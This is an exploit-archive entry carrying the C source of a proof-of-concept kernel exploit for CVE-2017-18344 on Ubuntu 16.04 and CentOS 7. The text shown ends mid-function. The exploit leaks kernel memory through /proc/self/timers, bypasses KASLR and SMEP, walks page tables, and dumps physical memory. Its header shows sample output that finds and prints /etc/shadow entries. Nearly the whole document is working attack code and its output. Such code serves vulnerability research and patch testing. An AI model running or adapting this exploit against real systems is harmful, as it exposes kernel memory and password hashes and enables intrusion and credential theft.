Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) (KASLR & SMEP Bypass) Arbitrary File Read

2018.08.10
Risk: High
Local: No
Remote: Yes
CWE: CWE-200

// A proof-of-concept exploit for CVE-2017-18344. // Includes KASLR and SMEP bypasses. No SMAP bypass. // No support for 1 GB pages or 5 level page tables. // Tested on Ubuntu xenial 4.4.0-116-generic and 4.13.0-38-generic // and on CentOS 7 3.10.0-862.9.1.el7.x86_64. // // gcc pwn.c -o pwn // // $ ./pwn search 'root:!:' // [.] setting up proc reader // [~] done // [.] checking /proc/cpuinfo // [~] looks good // [.] setting up timer // [~] done // [.] finding leak pointer address // [+] done: 000000022ca45b60 // [.] mapping leak pointer page // [~] done // [.] divide_error: ffffffffad6017b0 // [.] kernel text: ffffffffacc00000 // [.] page_offset_base: ffffffffade48a90 // [.] physmap: ffff8d40c0000000 // [.] task->mm->pgd: ffffffffade0a000 // [.] searching [0000000000000000, 00000000f524d000) for 'root:!:': // [.] now at 0000000000000000 // [.] now at 0000000002000000 // [.] now at 0000000004000000 // ... // [.] now at 000000008c000000 // [.] now at 000000008e000000 // [.] now at 0000000090000000 // [+] found at 0000000090ff3000 // [+] done // // $ ./pwn phys 0000000090ff3000 1000 shadow // [.] setting up proc reader // [~] done // [.] checking /proc/cpuinfo // [~] looks good // [.] setting up timer // [~] done // [.] finding leak pointer address // [+] done: 000000022ca45b60 // [.] mapping leak pointer page // [~] done // [.] divide_error: ffffffffad6017b0 // [.] kernel text: ffffffffacc00000 // [.] page_offset_base: ffffffffade48a90 // [.] physmap: ffff8d40c0000000 // [.] task->mm->pgd: ffffffffade0a000 // [.] dumping physical memory [0000000090ff3000, 0000000090ff4000): // [+] done // // $ cat shadow // root:!:17612:0:99999:7::: // daemon:*:17590:0:99999:7::: // bin:*:17590:0:99999:7::: // ... // saned:*:17590:0:99999:7::: // usbmux:*:17590:0:99999:7::: // user:$1$7lXXXXSv$rvXXXXXXXXXXXXXXXXXhr/:17612:0:99999:7::: // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <assert.h> #include <ctype.h> #include <fcntl.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/sysinfo.h> #include <sys/syscall.h> #include <sys/types.h> // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define DEBUG 0 // CentOS 7 3.10.0-862.9.1.el7.x86_64 #define KERNEL_START 0xffffffff81000000ul #define O_DIVIDE_ERROR (0xffffffff81723a40ul - KERNEL_START) #define O_INIT_TASK (0xffffffff81c16480ul - KERNEL_START) #define O_INIT_MM (0xffffffff81c914a0ul - KERNEL_START) #define O_PAGE_OFFSET_BASE (0xffffffff81c41440ul - KERNEL_START) #define O_TASK_STRUCT_TASKS 1072 #define O_TASK_STRUCT_MM 1128 #define O_TASK_STRUCT_PID 1188 #define O_MM_STRUCT_MMAP 0 #define O_MM_STRUCT_PGD 88 #define O_VM_AREA_STRUCT_VM_START 0 #define O_VM_AREA_STRUCT_VM_END 8 #define O_VM_AREA_STRUCT_VM_NEXT 16 #define O_VM_AREA_STRUCT_VM_FLAGS 80 #if 0 // Ubuntu xenial 4.4.0-116-generic #define KERNEL_START 0xffffffff81000000ul #define O_DIVIDE_ERROR (0xffffffff81851240ul - KERNEL_START) #define O_INIT_TASK (0xffffffff81e13500ul - KERNEL_START) #define O_INIT_MM (0xffffffff81e73c80ul - KERNEL_START) #define O_PAGE_OFFSET_BASE 0 #define O_TASK_STRUCT_TASKS 848 #define O_TASK_STRUCT_MM 928 #define O_TASK_STRUCT_PID 1096 #define O_MM_STRUCT_MMAP 0 #define O_MM_STRUCT_PGD 64 #define O_VM_AREA_STRUCT_VM_START 0 #define O_VM_AREA_STRUCT_VM_END 8 #define O_VM_AREA_STRUCT_VM_NEXT 16 #define O_VM_AREA_STRUCT_VM_FLAGS 80 #endif #if 0 // Ubuntu xenial 4.13.0-38-generic #define KERNEL_START 0xffffffff81000000ul #define O_DIVIDE_ERROR (0xffffffff81a017b0ul - KERNEL_START) #define O_INIT_TASK (0xffffffff82212480ul - KERNEL_START) #define O_INIT_MM (0xffffffff82302760ul - KERNEL_START) #define O_PAGE_OFFSET_BASE (0xffffffff82248a90ul - KERNEL_START) #define O_TASK_STRUCT_TASKS 2048 #define O_TASK_STRUCT_MM 2128 #define O_TASK_STRUCT_PID 2304 #define O_MM_STRUCT_MMAP 0 #define O_MM_STRUCT_PGD 80 #define O_VM_AREA_STRUCT_VM_START 0 #define O_VM_AREA_STRUCT_VM_END 8 #define O_VM_AREA_STRUCT_VM_NEXT 16 #define O_VM_AREA_STRUCT_VM_FLAGS 80 #endif // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #ifndef SYS_memfd_create #define SYS_memfd_create 319 #endif #ifndef O_PATH #define O_PATH 010000000 #endif // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define PAGE_SHIFT 12 #define PAGE_SIZE (1ul << PAGE_SHIFT) #define PAGE_MASK (~(PAGE_SIZE - 1)) #define HUGE_PAGE_SHIFT 21 #define HUGE_PAGE_SIZE (1ul << HUGE_PAGE_SHIFT) #define HUGE_PAGE_MASK (~(HUGE_PAGE_SIZE - 1)) #define TASK_SIZE (1ul << 47) #define PAGE_OFFSET_BASE 0xffff880000000000ul // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define LOG_INFO 1 #define LOG_DEBUG 2 #define log(level, format, args...) \ do { \ if (level == LOG_INFO) \ printf(format, ## args); \ else \ fprintf(stderr, format, ## args); \ } while(0) #define info(format, args...) log(LOG_INFO, format, ## args) #if (DEBUG >= 1) #define debug1(format, args...) log(LOG_DEBUG, format, ## args) #else #define debug1(format, args...) #endif #if (DEBUG >= 2) #define debug2(format, args...) log(LOG_DEBUG, format, ## args) #else #define debug2(format, args...) #endif #define min(x, y) ((x) < (y) ? (x) : (y)) // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static void print_chunk(int level, unsigned long src_addr, char *buffer, int len, int chunk_size) { int i; assert(len <= chunk_size); log(level, "%016lx: ", src_addr); for (i = 0; i < len; i++) log(level, "%02hx ", (unsigned char)buffer[i]); for (i = len; i < chunk_size; i++) log(level, " "); log(level, " "); for (i = 0; i < len; i++) { if (isalnum(buffer[i])) log(level, "%c", buffer[i]); else log(level, "."); } log(level, "\n"); } static void print_bytes(int level, unsigned long src_addr, char *buffer, int len) { int chunk_size = 16; assert(chunk_size % 2 == 0); int chunk; for (chunk = 0; chunk < len / chunk_size; chunk++) print_chunk(level, src_addr + chunk * chunk_size, &buffer[chunk * chunk_size], chunk_size, chunk_size); int rem = len % chunk_size; if (rem != 0) print_chunk(level, src_addr + len - rem, &buffer[len - rem], rem, chunk_size); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define MIN_KERNEL_BASE 0xffffffff81000000ul #define MAX_KERNEL_BASE 0xffffffffff000000ul #define MAX_KERNEL_IMAGE 0x8000000ul // 128 MB #define MMAP_ADDR_SPAN (MAX_KERNEL_BASE - MIN_KERNEL_BASE + MAX_KERNEL_IMAGE) #define MMAP_ADDR_START 0x200000000ul #define MMAP_ADDR_END (MMAP_ADDR_START + MMAP_ADDR_SPAN) #define OPTIMAL_PTR_OFFSET ((MMAP_ADDR_START - MIN_KERNEL_BASE) / 8) // == 0x4fe00000 #define MAX_MAPPINGS 1024 #define MEMFD_SIZE (MMAP_ADDR_SPAN / MAX_MAPPINGS) // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static struct proc_reader g_proc_reader; static unsigned long g_leak_ptr_addr = 0; // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define PROC_INITIAL_SIZE 1024 #define PROC_CHUNK_SIZE 1024 struct proc_reader { char *buffer; int buffer_size; int read_size; }; static void proc_init(struct proc_reader* pr) { debug2("proc_init: %016lx\n", pr); pr->buffer = malloc(PROC_INITIAL_SIZE); if (pr->buffer == NULL) { perror("[-] proc_init: malloc()"); exit(EXIT_FAILURE); } pr->buffer_size = PROC_INITIAL_SIZE; pr->read_size = 0; debug2("proc_init = void\n"); } static void proc_ensure_size(struct proc_reader* pr, int size) { if (pr->buffer_size >= size) return; while (pr->buffer_size < size) pr->buffer_size <<= 1; pr->buffer = realloc(pr->buffer, pr->buffer_size); if (pr->buffer == NULL) { perror("[-] proc_ensure_size: realloc()"); exit(EXIT_FAILURE); } } static int proc_read(struct proc_reader* pr, const char *file) { debug2("proc_read: file: %s, pr->buffer_size: %d\n", file, pr->buffer_size); int fd = open(file, O_RDONLY); if (fd == -1) { perror("[-] proc_read: open()"); exit(EXIT_FAILURE); } pr->read_size = 0; while (true) { proc_ensure_size(pr, pr->read_size + PROC_CHUNK_SIZE); int bytes_read = read(fd, &pr->buffer[pr->read_size], PROC_CHUNK_SIZE); if (bytes_read == -1) { perror("[-] read(proc)"); exit(EXIT_FAILURE); } pr->read_size += bytes_read; if (bytes_read < PROC_CHUNK_SIZE) break; } close(fd); debug2("proc_read = %d\n", pr->read_size); return pr->read_size; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # typedef union k_sigval { int sival_int; void *sival_ptr; } k_sigval_t; #define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(k_sigval_t)) #define SIGEV_MAX_SIZE 64 #define SIGEV_PAD_SIZE ((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE) \ / sizeof(int)) typedef struct k_sigevent { k_sigval_t sigev_value; int sigev_signo; int sigev_notify; union { int _pad[SIGEV_PAD_SIZE]; int _tid; struct { void (*_function)(sigval_t); void *_attribute; } _sigev_thread; } _sigev_un; } k_sigevent_t; static void leak_setup() { k_sigevent_t se; memset(&se, 0, sizeof(se)); se.sigev_signo = SIGRTMIN; se.sigev_notify = OPTIMAL_PTR_OFFSET; timer_t timerid = 0; int rv = syscall(SYS_timer_create, CLOCK_REALTIME, (void *)&se, &timerid); if (rv != 0) { perror("[-] timer_create()"); exit(EXIT_FAILURE); } } static void leak_parse(char *in, int in_len, char **start, char **end) { const char *needle = "notify: "; *start = memmem(in, in_len, needle, strlen(needle)); assert(*start != NULL); *start += strlen(needle); assert(in_len > 0); assert(in[in_len - 1] == '\n'); *end = &in[in_len - 2]; while (*end > in && **end != '\n') (*end)--; assert(*end > in); while (*end > in && **end != '/') (*end)--; assert(*end > in); assert((*end)[1] = 'p' && (*end)[2] == 'i' && (*end)[3] == 'd'); assert(*end >= *start); } static void leak_once(char **start, char **end) { int read_size = proc_read(&g_proc_reader, "/proc/self/timers"); leak_parse(g_proc_reader.buffer, read_size, start, end); } static int leak_once_and_copy(char *out, int out_len) { assert(out_len > 0); char *start, *end; leak_once(&start, &end); int size = min(end - start, out_len); memcpy(out, start, size); if (size == out_len) return size; out[size] = 0; return size + 1; } static void leak_range(unsigned long addr, size_t length, char *out) { size_t total_leaked = 0; while (total_leaked < length) { unsigned long addr_to_leak = addr + total_leaked; *(unsigned long *)g_leak_ptr_addr = addr_to_leak; debug2("leak_range: offset %ld, addr: %lx\n", total_leaked, addr_to_leak); int leaked = leak_once_and_copy(out + total_leaked, length - total_leaked); total_leaked += leaked; } } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static void mmap_fixed(unsigned long addr, size_t size) { void *rv = mmap((void *)addr, size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (rv != (void *)addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } } static void mmap_fd_over(int fd, unsigned long fd_size, unsigned long start, unsigned long end) { int page_size = PAGE_SIZE; assert(fd_size % page_size == 0); assert(start % page_size == 0); assert(end % page_size == 0); assert((end - start) % fd_size == 0); debug1("mmap_fd_over: [%lx, %lx)\n", start, end); unsigned long addr; for (addr = start; addr < end; addr += fd_size) { void *rv = mmap((void *)addr, fd_size, PROT_READ, MAP_FIXED | MAP_PRIVATE, fd, 0); if (rv != (void *)addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } } debug1("mmap_fd_over = void\n"); } static void remap_fd_over(int fd, unsigned long fd_size, unsigned long start, unsigned long end) { int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } mmap_fd_over(fd, fd_size, start, end); } #define MEMFD_CHUNK_SIZE 0x1000 static int create_filled_memfd(const char *name, unsigned long size, unsigned long value) { int i; char buffer[MEMFD_CHUNK_SIZE]; assert(size % MEMFD_CHUNK_SIZE == 0); int fd = syscall(SYS_memfd_create, name, 0); if (fd < 0) { perror("[-] memfd_create()"); exit(EXIT_FAILURE); } for (i = 0; i < sizeof(buffer) / sizeof(value); i++) *(unsigned long *)&buffer[i * sizeof(value)] = value; for (i = 0; i < size / sizeof(buffer); i++) { int bytes_written = write(fd, &buffer[0], sizeof(buffer)); if (bytes_written != sizeof(buffer)) { perror("[-] write(memfd)"); exit(EXIT_FAILURE); } } return fd; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static const char *evil = "evil"; static const char *good = "good"; static bool bisect_probe() { char *start, *end; leak_once(&start, &end); return *start == 'g'; } static unsigned long bisect_via_memfd(unsigned long fd_size, unsigned long start, unsigned long end) { assert((end - start) % fd_size == 0); int fd_evil = create_filled_memfd("evil", fd_size, (unsigned long)evil); int fd_good = create_filled_memfd("good", fd_size, (unsigned long)good); unsigned long left = 0; unsigned long right = (end - start) / fd_size; while (right - left > 1) { unsigned long middle = left + (right - left) / 2; remap_fd_over(fd_evil, fd_size, start + left * fd_size, start + middle * fd_size); remap_fd_over(fd_good, fd_size, start + middle * fd_size, start + right * fd_size); bool probe = bisect_probe(); if (probe) left = middle; else right = middle; } int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } close(fd_evil); close(fd_good); return start + left * fd_size; } static unsigned long bisect_via_assign(unsigned long start, unsigned long end) { int word_size = sizeof(unsigned long); assert((end - start) % word_size == 0); assert((end - start) % PAGE_SIZE == 0); mmap_fixed(start, end - start); unsigned long left = 0; unsigned long right = (end - start) / word_size; while (right - left > 1) { unsigned long middle = left + (right - left) / 2; unsigned long a; for (a = left; a < middle; a++) *(unsigned long *)(start + a * word_size) = (unsigned long)evil; for (a = middle; a < right; a++) *(unsigned long *)(start + a * word_size) = (unsigned long)good; bool probe = bisect_probe(); if (probe) left = middle; else right = middle; } int rv = munmap((void *)start, end - start); if (rv != 0) { perror("[-] munmap()"); exit(EXIT_FAILURE); } return start + left * word_size; } static unsigned long bisect_leak_ptr_addr() { unsigned long addr = bisect_via_memfd( MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END); debug1("%lx %lx\n", addr, addr + MEMFD_SIZE); addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE); debug1("%lx %lx\n", addr, addr + PAGE_SIZE); addr = bisect_via_assign(addr, addr + PAGE_SIZE); debug1("%lx\n", addr); return addr; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define CPUINFO_SMEP 1 #define CPUINFO_SMAP 2 #define CPUINFO_KAISER 4 #define CPUINFO_PTI 8 static int cpuinfo_scan() { int length = proc_read(&g_proc_reader, "/proc/cpuinfo"); char *buffer = &g_proc_reader.buffer[0]; int rv = 0; char* found = memmem(buffer, length, "smep", 4); if (found != NULL) rv |= CPUINFO_SMEP; found = memmem(buffer, length, "smap", 4); if (found != NULL) rv |= CPUINFO_SMAP; found = memmem(buffer, length, "kaiser", 4); if (found != NULL) rv |= CPUINFO_KAISER; found = memmem(buffer, length, " pti", 4); if (found != NULL) rv |= CPUINFO_PTI; return rv; } static void cpuinfo_check() { int rv = cpuinfo_scan(); if (rv & CPUINFO_SMAP) { info("[-] SMAP detected, no bypass available, aborting\n"); exit(EXIT_FAILURE); } } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static void arbitrary_read_init() { info("[.] setting up proc reader\n"); proc_init(&g_proc_reader); info("[~] done\n"); info("[.] checking /proc/cpuinfo\n"); cpuinfo_check(); info("[~] looks good\n"); info("[.] setting up timer\n"); leak_setup(); info("[~] done\n"); info("[.] finding leak pointer address\n"); g_leak_ptr_addr = bisect_leak_ptr_addr(); info("[+] done: %016lx\n", g_leak_ptr_addr); info("[.] mapping leak pointer page\n"); mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE); info("[~] done\n"); } static void read_range(unsigned long addr, size_t length, char *buffer) { leak_range(addr, length, buffer); } static uint64_t read_8(unsigned long addr) { uint64_t result; read_range(addr, sizeof(result), (char *)&result); return result; } static uint32_t read_4(unsigned long addr) { uint32_t result; read_range(addr, sizeof(result), (char *)&result); return result; } static uint64_t read_field_8(unsigned long addr, int offset) { return read_8(addr + offset); } static uint64_t read_field_4(unsigned long addr, int offset) { return read_4(addr + offset); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # struct idt_register { uint16_t length; uint64_t base; } __attribute__((packed)); struct idt_gate { uint16_t offset_1; // bits 0..15 uint32_t shit_1; uint16_t offset_2; // bits 16..31 uint32_t offset_3; // bits 32..63 uint32_t shit_2; } __attribute__((packed)); static uint64_t idt_gate_addr(struct idt_gate *gate) { uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) + ((uint64_t)gate->offset_3 << 32); return addr; } static void get_idt(struct idt_register *idtr) { asm ( "sidt %0" : : "m"(*idtr) ); debug1("get_idt_base: base: %016lx, length: %d\n", idtr->base, idtr->length); } static void print_idt(int entries) { char buffer[4096]; struct idt_register idtr; int i; get_idt(&idtr); assert(idtr.length <= sizeof(buffer)); read_range(idtr.base, idtr.length, &buffer[0]); info("base: %016lx, length: %d\n", idtr.base, (int)idtr.length); entries = min(entries, idtr.length / sizeof(struct idt_gate)); for (i = 0; i < entries; i++) { struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; uint64_t addr = idt_gate_addr(gate); info("gate #%03d: %016lx\n", i, addr); } } static uint64_t read_idt_gate(int i) { char buffer[4096]; struct idt_register idtr; get_idt(&idtr); assert(idtr.length <= sizeof(buffer)); assert(i <= idtr.length / sizeof(struct idt_gate)); read_range(idtr.base, idtr.length, &buffer[0]); struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i; uint64_t addr = idt_gate_addr(gate); return addr; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #define PTRS_PER_PGD 512 #define PTRS_PER_PUD 512 #define PTRS_PER_PMD 512 #define PTRS_PER_PTE 512 #define PGD_SHIFT 39 #define PUD_SHIFT 30 #define PMD_SHIFT 21 #define pgd_index(addr) (((addr) >> PGD_SHIFT) & (PTRS_PER_PGD - 1)) #define pud_index(addr) (((addr) >> PUD_SHIFT) & (PTRS_PER_PUD - 1)) #define pmd_index(addr) (((addr) >> PMD_SHIFT) & (PTRS_PER_PMD - 1)) #define pte_index(addr) (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1)) #define _PAGE_BIT_PRESENT 0 #define _PAGE_BIT_ACCESSED 5 #define _PAGE_BIT_DIRTY 6 #define _PAGE_BIT_PSE 7 #define _PAGE_BIT_GLOBAL 8 #define _PAGE_BIT_PROTNONE _PAGE_BIT_GLOBAL #define _PAGE_PRESENT (1ul << _PAGE_BIT_PRESENT) #define _PAGE_ACCESSED (1ul << _PAGE_BIT_ACCESSED) #define _PAGE_DIRTY (1ul << _PAGE_BIT_DIRTY) #define _PAGE_PSE (1ul << _PAGE_BIT_PSE) #define _PAGE_PROTNONE (1ul << _PAGE_BIT_PROTNONE) #define _PAGE_KNL_ERRATUM_MASK (_PAGE_DIRTY | _PAGE_ACCESSED) #define pgd_none(value) ((value) == 0) #define pud_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) #define pmd_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) #define pte_none(value) (((value) & ~(_PAGE_KNL_ERRATUM_MASK)) == 0) #define __PHYSICAL_MASK_SHIFT 52 #define __PHYSICAL_MASK ((1ul << __PHYSICAL_MASK_SHIFT) - 1) #define PHYSICAL_PAGE_MASK (PAGE_MASK & __PHYSICAL_MASK) #define PTE_PFN_MASK (PHYSICAL_PAGE_MASK) #define PTE_FLAGS_MASK (~PTE_PFN_MASK) #define pgd_flags(value) (value & PTE_FLAGS_MASK) #define pud_flags(value) (value & PTE_FLAGS_MASK) #define pmd_flags(value) (value & PTE_FLAGS_MASK) #define pte_flags(value) (value & PTE_FLAGS_MASK) #define pgd_present(value) (pgd_flags(value) & _PAGE_PRESENT) #define pud_present(value) (pud_flags(value) & _PAGE_PRESENT) #define pmd_present(value) (pmd_flags(value) & (_PAGE_PRESENT | \ _PAGE_PROTNONE | _PAGE_PSE)) #define pte_present(value) (pte_flags(value) & (_PAGE_PRESENT | \ _PAGE_PROTNONE)) struct pte_entry { unsigned long addr; unsigned long entries[PTRS_PER_PTE]; }; struct pmd_entry { unsigned long addr; struct { bool huge; union { struct pte_entry *pte; unsigned long phys; }; } entries[PTRS_PER_PMD]; }; struct pud_entry { unsigned long addr; struct pmd_entry *entries[PTRS_PER_PUD]; }; struct pgd_entry { unsigned long addr; struct pud_entry *entries[PTRS_PER_PGD]; }; struct ptsc { unsigned long physmap; struct pgd_entry entry; }; static struct pte_entry *ptsc_alloc_pte_entry(unsigned long addr) { struct pte_entry *entry = malloc(sizeof(*entry)); if (!entry) { perror("[-] malloc()"); exit(EXIT_FAILURE); } entry->addr = addr; memset(&entry->entries[0], 0, sizeof(entry->entries)); return entry; } static struct pmd_entry *ptsc_alloc_pmd_entry(unsigned long addr) { struct pmd_entry *entry = malloc(sizeof(*entry)); if (!entry) { perror("[-] malloc()"); exit(EXIT_FAILURE); } entry->addr = addr; memset(&entry->entries[0], 0, sizeof(entry->entries)); return entry; } static struct pud_entry *ptsc_alloc_pud_entry(unsigned long addr) { struct pud_entry *entry = malloc(sizeof(*entry)); if (!entry) { perror("[-] malloc()"); exit(EXIT_FAILURE); } entry->addr = addr; memset(&entry->entries[0], 0, sizeof(entry->entries)); return entry; } static void ptsc_init(struct ptsc* ptsc, unsigned long physmap, unsigned long pgd) { ptsc->physmap = physmap; ptsc->entry.addr = pgd; memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries)); } static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc, unsigned long addr) { struct pgd_entry *pgd_e; struct pud_entry *pud_e; struct pmd_entry *pmd_e; struct pte_entry *pte_e; unsigned long phys_a; int index; debug1("looking up phys addr for %016lx:\n", addr); pgd_e = &ptsc->entry; index = pgd_index(addr); debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index); if (!pgd_e->entries[index]) { unsigned long pgd_v = read_8( pgd_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pgd_v); if (pgd_none(pgd_v)) { debug1(" not found, pgd is none\n"); return 0; } if (!pgd_present(pgd_v)) { debug1(" not found, pgd is not present\n"); return 0; } unsigned long pud_a = ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK); pud_e = ptsc_alloc_pud_entry(pud_a); pgd_e->entries[index] = pud_e; } pud_e = pgd_e->entries[index]; index = pud_index(addr); debug1(" pud: %016lx, index: %d\n", pud_e->addr, index); if (!pud_e->entries[index]) { unsigned long pud_v = read_8( pud_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pud_v); if (pud_none(pud_v)) { debug1(" not found, pud is none\n"); return 0; } if (!pud_present(pud_v)) { debug1(" not found, pud is not present\n"); return 0; } unsigned long pmd_a = ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK); pmd_e = ptsc_alloc_pmd_entry(pmd_a); pud_e->entries[index] = pmd_e; } pmd_e = pud_e->entries[index]; index = pmd_index(addr); debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index); if (!pmd_e->entries[index].pte) { unsigned long pmd_v = read_8( pmd_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pmd_v); if (pmd_none(pmd_v)) { debug1(" not found, pmd is none\n"); return 0; } if (!pmd_present(pmd_v)) { debug1(" not found, pmd is not present\n"); return 0; } if (pmd_flags(pmd_v) & _PAGE_PSE) { phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) + (addr & ~HUGE_PAGE_MASK); pmd_e->entries[index].phys = phys_a; pmd_e->entries[index].huge = true; } else { unsigned long pte_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK); pte_e = ptsc_alloc_pte_entry(pte_a); pmd_e->entries[index].pte = pte_e; pmd_e->entries[index].huge = false; } } if (pmd_e->entries[index].huge) { debug1(" phy: %016lx (huge)\n", phys_a); return pmd_e->entries[index].phys; } pte_e = pmd_e->entries[index].pte; index = pte_index(addr); debug1(" pte: %016lx, index: %d\n", pte_e->addr, index); if (!pte_e->entries[index]) { unsigned long pte_v = read_8( pte_e->addr + index * sizeof(unsigned long)); debug1(" -> %016lx\n", pte_v); if (pte_none(pte_v)) { debug1(" not found, pte is none\n"); return 0; } if (!pte_present(pte_v)) { debug1(" not found, pte is not present\n"); return 0; } phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) + (addr & ~PAGE_MASK); pte_e->entries[index] = phys_a; } phys_a = pte_e->entries[index]; return phys_a; } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) { unsigned long cur_task = init_task; while (true) { unsigned cur_pid = read_field_4(cur_task, O_TASK_STRUCT_PID); if (cur_pid == pid) return cur_task; unsigned long task_next_ptr = read_field_8(cur_task, O_TASK_STRUCT_TASKS); cur_task = task_next_ptr - O_TASK_STRUCT_TASKS; if (cur_task == init_task) return 0; } } #define MAX_MMAPS_PER_TASK 512 struct mmap_entry { unsigned long start; unsigned long end; unsigned flags; }; typedef void (*mmap_callback)(struct mmap_entry *entry, void *private); static void for_each_mmap_from(unsigned long mmap, mmap_callback callback, void *private) { struct mmap_entry entries[MAX_MMAPS_PER_TASK]; int i, count; count = 0; while (mmap != 0) { assert(count < MAX_MMAPS_PER_TASK); unsigned long vm_start = read_field_8(mmap, O_VM_AREA_STRUCT_VM_START); unsigned long vm_end = read_field_8(mmap, O_VM_AREA_STRUCT_VM_END); if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) { info("[-] bad mmap (did the task die?)\n"); exit(EXIT_FAILURE); } unsigned vm_flags = read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS); entries[count].start = vm_start; entries[count].end = vm_end; entries[count].flags = vm_flags; count++; mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT); } for (i = 0; i < count; i++) callback(&entries[i], private); } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # static unsigned long g_kernel_text = 0; static unsigned long g_physmap = 0; static struct ptsc g_ptsc; static void physmap_init() { unsigned long divide_error = read_idt_gate(0); info("[.] divide_error: %016lx\n", divide_error); g_kernel_text = divide_error - O_DIVIDE_ERROR; info("[.] kernel text: %016lx\n", g_kernel_text); if (O_PAGE_OFFSET_BASE) { unsigned long page_offset_base = g_kernel_text + O_PAGE_OFFSET_BASE; info("[.] page_offset_base: %016lx\n", page_offset_base); g_physmap = read_8(page_offset_base); info("[.] physmap: %016lx\n", g_physmap); if (g_physmap < PAGE_OFFSET_BASE) { info("[-] physmap sanity check failed " "(wrong offset?)\n"); exit(EXIT_FAILURE); } } else { g_physmap = PAGE_OFFSET_BASE; info("[.] physmap: %016lx\n", g_physmap); } } static unsigned long g_mmap = 0; static void pts_init(int pid) { unsigned long mm; if (pid != 0) { unsigned long init_task = g_kernel_text + O_INIT_TASK; info("[.] init_task: %016lx\n", init_task); unsigned long task = find_task_by_pid(init_task, pid); info("[.] task: %016lx\n", task); if (task == 0) { info("[-] task %d not found\n", pid); exit(EXIT_FAILURE); } else if (task < PAGE_OFFSET_BASE) { info("[-] task sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } mm = read_field_8(task, O_TASK_STRUCT_MM); info("[.] task->mm: %016lx\n", mm); if (mm == 0) { info("[-] mm not found (kernel task?)\n"); exit(EXIT_FAILURE); } else if (mm < PAGE_OFFSET_BASE) { info("[-] mm sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP); info("[.] task->mm->mmap: %016lx\n", g_mmap); if (g_mmap < PAGE_OFFSET_BASE) { info("[-] mmap sanity check failed (wrong offset?)\n"); exit(EXIT_FAILURE); } } else { mm = g_kernel_text + 